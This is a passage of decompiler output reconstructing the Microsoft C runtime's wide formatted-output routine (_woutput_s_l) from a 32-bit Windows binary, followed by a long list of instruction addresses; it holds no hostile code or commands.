																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t640 = 0;
																					if(0 == 0) {
																						 *(_t672 - 0x4dc) = 0;
																					} else {
																						 *(_t672 - 0x4dc) = 1;
																					}
																					 *(_t672 - 0x46c) =  *(_t672 - 0x4dc);
																					if( *(_t672 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t517 = L0041E420();
																						_t675 = _t675 + 0x14;
																						if(_t517 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t672 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422F10(_t586))) = 0x16;
																						E00422CA0(_t565, _t586, _t670, _t671, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t672 - 0x4c8) = 0xffffffff;
																						E0041AEC0(_t672 - 0x40);
																						_t502 =  *(_t672 - 0x4c8);
																						L225:
																						return E0042BD60(_t502, _t565,  *(_t672 - 0x48) ^ _t672, _t640, _t670, _t671);
																					}
																				}
																			}
																			L215:
																			if( *(_t672 - 0x45c) == 0 ||  *(_t672 - 0x45c) == 7) {
																				 *(_t672 - 0x4f8) = 1;
																			} else {
																				 *(_t672 - 0x4f8) = 0;
																			}
																			_t640 =  *(_t672 - 0x4f8);
																			 *(_t672 - 0x4bc) =  *(_t672 - 0x4f8);
																			if( *(_t672 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t507 = L0041E420();
																				_t675 = _t675 + 0x14;
																				if(_t507 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t672 - 0x4bc) != 0) {
																				 *(_t672 - 0x4d4) =  *(_t672 - 0x44c);
																				E0041AEC0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422F10(_t578))) = 0x16;
																				E00422CA0(_t565, _t578, _t670, _t671, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t672 - 0x4d0) = 0xffffffff;
																				E0041AEC0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t672 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t672 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t672 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t672 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t672 - 0x14)) = 0x20;
																						 *(_t672 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t672 - 0x14)) = 0x2b;
																					 *(_t672 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t672 - 0x14)) = 0x2d;
																				 *(_t672 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t672 - 0x4ac)) =  *((intOrPtr*)(_t672 - 0x18)) -  *((intOrPtr*)(_t672 - 0x24)) -  *(_t672 - 0x1c);
																		if(( *(_t672 - 0x10) & 0x0000000c) == 0) {
																			E0043CB90(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		E0043CBD0( *(_t672 - 0x1c), _t672 - 0x14,  *(_t672 - 0x1c),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																		_t675 = _t675 + 0x10;
																		if(( *(_t672 - 0x10) & 0x00000008) != 0 && ( *(_t672 - 0x10) & 0x00000004) == 0) {
																			E0043CB90(0x30,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		if( *(_t672 - 0xc) != 0 ||  *((intOrPtr*)(_t672 - 0x24)) <= 0) {
																			L208:
																			E0043CBD0( *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 - 4)),  *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 4));
																			 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t672 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t535 = E0041AEF0(_t672 - 0x40);
																				_t539 = E0043B630(_t672 - 0x458,  *((intOrPtr*)(_t672 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AEF0(_t672 - 0x40))) + 0xac)), _t535);
																				_t675 = _t675 + 0x10;
																				 *((intOrPtr*)(_t672 - 0x4b8)) = _t539;
																				if( *((intOrPtr*)(_t672 - 0x4b8)) > 0) {
																					L206:
																					E0043CB30( *(_t672 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																					_t675 = _t675 + 0xc;
																					 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 0x4b0)) +  *((intOrPtr*)(_t672 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t672 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t672 - 0x44c) >= 0 && ( *(_t672 - 0x10) & 0x00000004) != 0) {
																				E0043CB90(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																				_t675 = _t675 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t141 = __edx + 0x43caf0; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043CAB4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428400(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B960( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xd5b65caa
																					E00424760(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEF0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xd44284aa
																						E00424760(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEF0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xd44114aa
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428400(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEF0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AEF0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B630(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428400(__ebp + 0x14);
																			if(E00433FB0() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E420();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
																				__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEC0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428400(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AEF0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E004312C0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c44d
0x0043c44d
0x0043c44d
0x0043c44d
0x0043c44d
0x0043c44d
0x0043c44d
0x0043c44d
0x00000000
0x0043c4c2
0x00000000
0x0043c4c2
0x00000000
0x0043c4c2
0x0043c4c2
0x0043c4ca
0x0043c4ec
0x0043c4f2
0x0043c517
0x0043c55e
0x0043c561
0x0043c582
0x0043c587
0x0043c58c
0x0043c592
0x0043c563
0x0043c567
0x0043c56c
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51f
0x0043c541
0x0043c546
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c525
0x0043c52a
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f8
0x0043c4fd
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4d0
0x0043c4d5
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59e
0x0043c5e0
0x0043c5e6
0x0043c5f2
0x00000000
0x0043c5a0
0x0043c5a0
0x0043c5a0
0x0043c5a7
0x00000000
0x0043c5b4
0x0043c5b4
0x0043c5c2
0x0043c5c7
0x0043c5cd
0x0043c5db
0x0043c5f8
0x0043c600
0x0043c622
0x0043c622
0x0043c62c
0x0043c63d
0x0043c647
0x0043c649
0x0043c649
0x0043c62e
0x0043c62e
0x0043c62e
0x0043c65c
0x0043c65e
0x0043c65e
0x0043c66b
0x0043c66e
0x0043c66e
0x0043c674
0x0043c677
0x0043c67c
0x00000000
0x00000000
0x0043c68c
0x0043c68f
0x0043c699
0x0043c6a8
0x0043c6b1
0x0043c6c7
0x0043c6cd
0x0043c6da
0x0043c6e8
0x0043c6e8
0x0043c6f7
0x0043c6ff
0x0043c6ff
0x0043c707
0x0043c710
0x0043c719
0x0043c725
0x0043c73e
0x0043c744
0x0043c74d
0x0043c74d
0x00000000
0x0043c750
0x00000000
0x0043c750
0x00000000
0x0043c750
0x00000000
0x0043c750
0x00000000
0x0043c750
0x00000000
0x0043c750
0x00000000
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x0043c930
0x0043c934
0x0043c93c
0x0043c941
0x0043c944
0x0043c944
0x0043c94b
0x0043c94b
0x0043bacb
0x0043bad2
0x0043badf
0x0043bae4
0x00000000
0x0043baf7
0x0043bb01
0x0043bb28
0x0043bb0f
0x0043bb20
0x0043bb20
0x0043bb01
0x0043bb32
0x0043bb38
0x0043bb44
0x0043bb47
0x0043bb55
0x0043bb58
0x0043bb65
0x0043bc0a
0x0043bc10
0x0043bc1d
0x00000000
0x00000000
0x0043bc23
0x0043bc29
0x00000000
0x0043bc30
0x0043bc30
0x0043bc4a
0x0043bc4f
0x00000000
0x00000000
0x0043bc57
0x0043bc57
0x0043bc5e
0x0043bc61
0x0043bc64
0x0043bc67
0x0043bc6a
0x0043bc6d
0x0043bc70
0x0043bc77
0x0043bc7e
0x00000000
0x00000000
0x0043bc8a
0x0043bc8a
0x0043bc91
0x0043bc9d
0x0043bca0
0x0043bcad
0x00000000
0x00000000
0x0043bcaf
0x0043bcb5
0x0043bcb5
0x0043bcbc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bd00
0x0043bd00
0x0043bd0a
0x0043bd37
0x0043bd41
0x0043bd41
0x0043bd45
0x0043bd0c
0x0043bd0c
0x0043bd18
0x0043bd1f
0x0043bd24
0x0043bd27
0x0043bd2a
0x0043bd2d
0x0043bd2f
0x0043bd2f
0x0043bd32
0x00000000
0x00000000
0x0043bd4d
0x0043bd4d
0x00000000
0x00000000
0x0043bd59
0x0043bd59
0x0043bd63
0x0043bd83
0x0043bd86
0x0043bd90
0x0043bd90
0x0043bd94
0x0043bd65
0x0043bd65
0x0043bd71
0x0043bd78
0x0043bd7a
0x0043bd7a
0x0043bd81
0x00000000
0x00000000
0x0043bd9c
0x0043bd9c
0x0043bda3
0x0043bdaf
0x0043bdb2
0x0043bdbf
0x0043bed2
0x00000000
0x0043bed2
0x0043bdc5
0x0043bdcb
0x0043bdcb
0x0043bdd2
0x00000000
0x0043be09
0x0043be09
0x0043be0c
0x0043be12
0x0043be39
0x0043be39
0x0043be3c
0x0043be42
0x0043be66
0x0043be66
0x0043be69
0x0043be6f
0x0043bea8
0x0043beb9
0x00000000
0x0043beb9
0x0043be71
0x0043be71
0x0043be74
0x0043be7a
0x00000000
0x00000000
0x0043be7c
0x0043be7c
0x0043be7f
0x0043be85
0x00000000
0x00000000
0x0043be87
0x0043be87
0x0043be8a
0x0043be90
0x00000000
0x00000000
0x0043be92
0x0043be92
0x0043be95
0x0043be9b
0x00000000
0x00000000
0x0043be9d
0x0043be9d
0x0043bea0
0x0043bea6
0x0043beaa
0x00000000
0x0043beaa
0x00000000
0x0043bea6
0x0043be44
0x0043be44
0x0043be47
0x0043be4e
0x00000000
0x0043be50
0x0043be53
0x0043be56
0x0043be5c
0x0043be61
0x00000000
0x0043be61
0x0043be4e
0x0043be14
0x0043be14
0x0043be17
0x0043be1e
0x00000000
0x0043be20
0x0043be23
0x0043be26
0x0043be2c
0x0043be31
0x00000000
0x0043be31
0x00000000
0x0043bebb
0x0043bebb
0x0043bebe
0x0043bec1
0x00000000
0x00000000
0x0043bdd9
0x0043bdd9
0x0043bddc
0x0043bde2
0x0043bdfe
0x0043be01
0x0043bde4
0x0043bde4
0x0043bde7
0x0043bdea
0x0043bdf0
0x0043bdf6
0x0043bdf6
0x00000000
0x00000000
0x0043bec6
0x0043bec9
0x0043becf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcd9
0x0043bcd9
0x0043bcdc
0x0043bcdf
0x00000000
0x00000000
0x0043bce4
0x0043bce7
0x0043bced
0x00000000
0x00000000
0x0043bcce
0x0043bcd1
0x0043bcd4
0x00000000
0x00000000
0x0043bcc3
0x0043bcc6
0x0043bcc9
0x00000000
0x00000000
0x0043bcf2
0x0043bcf5
0x0043bcf8
0x00000000
0x00000000
0x0043bcfb
0x00000000
0x00000000
0x0043bb6b
0x0043bb6b
0x0043bb6d
0x0043bb7b
0x0043bb6f
0x0043bb6f
0x0043bb6f
0x0043bb8b
0x0043bb98
0x0043bb9a
0x0043bb9f
0x0043bba1
0x0043bba6
0x0043bbab
0x0043bbad
0x0043bbb2
0x0043bbb8
0x0043bbba
0x0043bbba
0x0043bbb8
0x0043bbbb
0x0043bbc2
0x00000000
0x0043bbc4
0x0043bbc9
0x0043bbe5
0x0043bbed
0x0043bbfa
0x0043bbff
0x0043ca14
0x0043ca21
0x0043ca21
0x0043bbc2
0x0043bb65
0x0043c950
0x0043c957
0x0043c96e
0x0043c962
0x0043c962
0x0043c962
0x0043c978
0x0043c97e
0x0043c98b
0x0043c98d
0x0043c992
0x0043c994
0x0043c999
0x0043c99e
0x0043c9a0
0x0043c9a5
0x0043c9ab
0x0043c9ad
0x0043c9ad
0x0043c9ab
0x0043c9b5
0x0043ca00
0x0043ca09
0x0043ca0e
0x0043c9b7
0x0043c9bc
0x0043c9d8
0x0043c9e0
0x0043c9ed
0x0043c9f2
0x0043c9f2
0x00000000
0x0043c9b5
0x0043c75a
0x0043c760
0x0043c76a
0x0043c784
0x0043c79e
0x0043c7a5
0x0043c7a9
0x0043c7a9
0x0043c786
0x0043c78b
0x0043c78f
0x0043c78f
0x0043c76c
0x0043c771
0x0043c775
0x0043c775
0x0043c76a
0x0043c7b9
0x0043c7c5
0x0043c7db
0x0043c7e0
0x0043c7e0
0x0043c7f6
0x0043c7fb
0x0043c804
0x0043c822
0x0043c827
0x0043c827
0x0043c82e
0x0043c8e8
0x0043c8fb
0x0043c900
0x00000000
0x0043c83e
0x0043c83e
0x0043c841
0x0043c84a
0x0043c850
0x0043c850
0x0043c85f
0x0043c867
0x00000000
0x00000000
0x0043c869
0x0043c86c
0x0043c891
0x0043c896
0x0043c899
0x0043c8a6
0x0043c8b4
0x0043c8c7
0x0043c8cc
0x0043c8db
0x00000000
0x0043c8db
0x0043c8a8
0x0043c8a8
0x00000000
0x0043c8a8
0x0043c8e6
0x0043c903
0x0043c90a
0x0043c928
0x0043c92d
0x0043c92d
0x00000000
0x0043c90a
0x0043bed7
0x0043bed7
0x0043bede
0x0043bee4
0x0043beea
0x0043beed
0x0043bef3
0x0043bf00
0x0043bf06
0x0043bf06
0x0043bf0d
0x00000000
0x0043c291
0x0043c291
0x0043c29f
0x0043c2a2
0x00000000
0x00000000
0x0043bf14
0x0043bf17
0x0043bf1d
0x0043bf22
0x0043bf25
0x0043bf25
0x00000000
0x00000000
0x0043c05a
0x0043c05d
0x0043c062
